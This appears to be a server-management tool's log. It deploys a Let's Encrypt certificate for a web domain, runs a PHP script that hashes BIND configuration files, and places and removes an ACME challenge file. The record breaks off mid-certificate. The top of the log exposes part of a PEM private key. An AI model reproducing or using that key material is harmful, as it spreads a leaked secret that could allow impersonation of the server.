SLbce81sONNYsWGZWuHzSOpzOQKBgQDt/s8JQY4dkusMnpixm+pcoGoUXj4czzeB
NflWDGF0sXKiPPakG/YNA96zfX3IPd21DZeHwTc4VPL0wKdRZfwxiCri+2NMR1El
vlECmdkKNB8pS3nFoFfBI3SnNcITpjXXfxZ08nHh3YU7LhzIpRb3W115p4CHv4x6
DkgZIzJyzwKBgCnwH3E3PpsU6wIVRiU81bvR8TvxNhV2nPFBAXM758jc8zENNxt6
T2wX+y76W2TyLOxed6hhyMcKey2ZjYUIPBVPz/tViVDIub3+PlMAcportwgyGxiH
NgMBU5B9oCnSkBmvuAq50DfTegxL2BaoaMV8gdIX8jtMQXoaJLurzKABAoGAOHkR
KZIbpdrZ2Xm8o9BqcSZDZafjNzTYZ9ml24w+h9EfcW3j3Jch8H6tlou9kAlWFYMv
JLBtaPmHWRpp2X/IsvwrqQabzlrR35HkaSiWfrxVdJgLQiDFEfhW0uKHtd/nwMXQ
T1nEOiM1XRCZFedOps1QRfDAJ/YE4GWJKCXY77MCgYAUsglfhIY8AqK0e2Eh/GhP
ew9zY7rG1NCSDgV5aRenJTdaMi0LiB2oiXZcH/h3jjO80yr/VhN518U2sqhQnnwu
Zlh7PePmG3FAfTfxeMkaBy5RFtPIvo1+ZQa2nQhV2rjPShJ1hy7i60NaIMExnA8v
rQcmm3N6GZzO4qoyyznIuQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-10-09 11:20:19: Establishing a connection
2025-10-09 11:20:20:
PUT: /tmp/pkp285647
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-09 11:20:20:
runuser -l bind -s /bin/bash -c '/tmp/pkp285647; rm /tmp/pkp285647'
2025-10-09 11:20:20:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-10-09 11:20:31: Establishing a connection
2025-10-09 11:20:31: Establishing a connection
2025-10-09 11:20:32:
PUT: /tmp/pkp406122
#!/bin/bash
if [ -d "/var/www/carelinksaustralia_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-09 11:20:32:
chmod 755 /tmp/pkp406122; /tmp/pkp406122; rm /tmp/pkp406122
2025-10-09 11:20:32:
1
2025-10-09 11:20:33: Establishing a connection
2025-10-09 11:20:33:
PUT: /tmp/pkp546903
#!/bin/bash
mkdir -p "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cd "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cat > 6PmRrICVzxdXdv3T_rS07H1qhuxbuFvkOVrbpOtNv0s <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
6PmRrICVzxdXdv3T_rS07H1qhuxbuFvkOVrbpOtNv0s.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 6PmRrICVzxdXdv3T_rS07H1qhuxbuFvkOVrbpOtNv0s
2025-10-09 11:20:33:
chmod 755 /tmp/pkp546903; /tmp/pkp546903; rm /tmp/pkp546903
2025-10-09 11:20:33:
2025-10-09 11:20:39: Establishing a connection
2025-10-09 11:20:39:
PUT: /tmp/pkp915161
#!/bin/bash
mkdir -p "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cd "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
rm 6PmRrICVzxdXdv3T_rS07H1qhuxbuFvkOVrbpOtNv0s
2025-10-09 11:20:39:
chmod 755 /tmp/pkp915161; /tmp/pkp915161; rm /tmp/pkp915161
2025-10-09 11:20:39:
2025-10-09 11:20:39: Establishing a connection
2025-10-09 11:20:39:
PUT: /tmp/pkp113319
#!/bin/bash
temp_file=$(mktemp)
TARGET=01bea5c16e52f9c5f2fcf9fea9a569f2.crt
cat > $temp_file <<'endmsg'
5c:37:b9:8a:c5:19:76:b6:b5:f1:db:13:b9:52:3b:0b
-----BEGIN CERTIFICATE-----
MIIFJjCCBA6gAwIBAgISBatvyixd2HsMF7fNY8PrWN9xMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA5MTAyMjA4WhcNMjYwMTA3MTAyMjA3WjAiMSAwHgYDVQQD
ExdjYXJlbGlua3NhdXN0cmFsaWEuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAKbXhYJzfqD7Arw8BCRHAFP9InGWLLJASG2UpoHGeXgeUuyjTdcN
qN/WQ0eWAnUu+jbyQxR35COd/PEK/kTflDTBxyMX+gWGTuLLEyXbXfFRjXrJGmc8
MkEYMGS/oTq62olyjfpJTxwWyghsDnu/DJ6uMmjvTxLTKYnD35mP0NR0vusRcf95
3LF2e9aON2nJV5ZMlD6Fy1Ln/U8I6dZ3iYmKSpq0lQwrCtP7yR61VWJB/m9Ms3ZH
zRZntppvlV50XXWk+LdY7mmC3IuvtLo580VfUYN7hNXj92OjLbzT3UFa2UrljcO6
ADuKRWWjN8tYsO1sksCVHbUQ6HDbiFFX478CAwEAAaOCAkMwggI/MA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUVALc7kErp7MZdVeRj+JWnST3130wHwYDVR0jBBgwFoAU
ALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzA/BgNVHREEODA2ghdjYXJlbGlua3Nh
dXN0cmFsaWEuaW5mb4Ibd3d3LmNhcmVsaW5rc2F1c3RyYWxpYS5pbmZvMBMGA1Ud
IAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5s
ZW5jci5vcmcvMTE0LmNybDCCAQIGCisGAQQB1nkCBAIEgfMEgfAA7gB1ABmG1Mco
qm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmciznqoAAAQDAEYwRAIgUBJ7
a2A5p6haCc6luLxbPhCQBuprABE/CJv5IuCdQsMCIEE6m51VkFWw52V3/j9hfoVx
oZ4QtG+qYKpsb6UOfPR7AHUAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/K
qcYAAAGZyLOe9gAABAMARjBEAiAiN14NcfVBMAh8N4k7cJCGMeL+HA7wGpdyEWO2
ovFrEAIgNnL7SlUT6gvk07QhOvdXPheWmzbaQ1PNRDw5qknOJb4wDQYJKoZIhvcN
AQELBQADggEBAMB44Kl+Ya0nJKab+t4xqhFcCosdQhdl9v7mxoaB0oikcK8JP3Ft
7+3xuX9ydettk9J2AWmACx6kfMKLXwrv45NQ+ifXZups55H5hlbz5KvvTbBt4ebv
E3dJGR+fc8SYn5hMKkrF943zeI+9WZZnSHBRLzHRPUrDDCkUZQpXeBpVPaNNbB3W
BT8rt4s1bXK44ZEtWnvs8zrxbMgbBiCz9c3td0eAHZac82F45t7UOBkrbPO0CxbC
YUV95zUdhd4lGhe6pKtQR2AbR4kBn/K449tBZbMM2Hh/+xYo4/LU33dJzfUXJb1L
